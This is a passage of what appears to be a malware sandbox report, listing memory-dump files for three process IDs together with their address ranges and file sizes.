                        • memory/55676-606-0x0000000009630000-0x00000000096C2000-memory.dmp
                          Filesize

                          584KB

                        • memory/55676-587-0x000000000A310000-0x000000000A80E000-memory.dmp
                          Filesize

                          5.0MB

                        • memory/55676-1438-0x000000000B5C0000-0x000000000B782000-memory.dmp
                          Filesize

                          1.8MB

                        • memory/55676-218-0x000000000042217A-mapping.dmp
                        • memory/55676-1439-0x000000000BCC0000-0x000000000C1EC000-memory.dmp
                          Filesize

                          5.2MB

                        • memory/55676-328-0x0000000009320000-0x000000000942A000-memory.dmp
                          Filesize

                          1.0MB

                        • memory/55676-642-0x00000000096D0000-0x0000000009736000-memory.dmp
                          Filesize

                          408KB

                        • memory/55676-357-0x0000000009430000-0x000000000947B000-memory.dmp
                          Filesize

                          300KB

                        • memory/55676-345-0x00000000092B0000-0x00000000092EE000-memory.dmp
                          Filesize

                          248KB

                        • memory/55676-272-0x0000000000400000-0x0000000000428000-memory.dmp
                          Filesize

                          160KB

                        • memory/55676-1429-0x000000000B130000-0x000000000B180000-memory.dmp
                          Filesize

                          320KB

                        • memory/55676-324-0x0000000009800000-0x0000000009E06000-memory.dmp
                          Filesize

                          6.0MB

                        • memory/55676-337-0x0000000009250000-0x0000000009262000-memory.dmp
                          Filesize

                          72KB

                        • memory/55812-301-0x00000000004B0000-0x00000000005D4000-memory.dmp
                          Filesize

                          1.1MB

                        • memory/55812-427-0x0000000008450000-0x0000000008472000-memory.dmp
                          Filesize

                          136KB

                        • memory/55812-243-0x0000000000000000-mapping.dmp
                        • memory/55812-321-0x0000000002880000-0x00000000029A2000-memory.dmp
                          Filesize

                          1.1MB

                        • memory/55812-422-0x0000000008360000-0x00000000083F2000-memory.dmp
                          Filesize

                          584KB

                        • memory/55812-436-0x0000000008480000-0x00000000087D0000-memory.dmp
                          Filesize

                          3.3MB

                        • memory/56172-325-0x0000000000000000-mapping.dmp